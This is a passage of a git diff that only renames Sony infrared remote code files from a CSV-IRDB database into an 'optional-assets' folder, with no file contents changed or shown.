b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/26,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/TV/26,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/26,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/26,42.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/26,42.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/TV/26,42.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/26,42.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/TV/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TV/84,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/84,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/TV/84,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TV/84,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/183,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TiVo/183,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/183,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TiVo/183,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/23,133.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TiVo/23,133.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/23,133.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TiVo/23,133.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/26,154.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TiVo/26,154.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/26,154.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/TiVo/26,154.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir 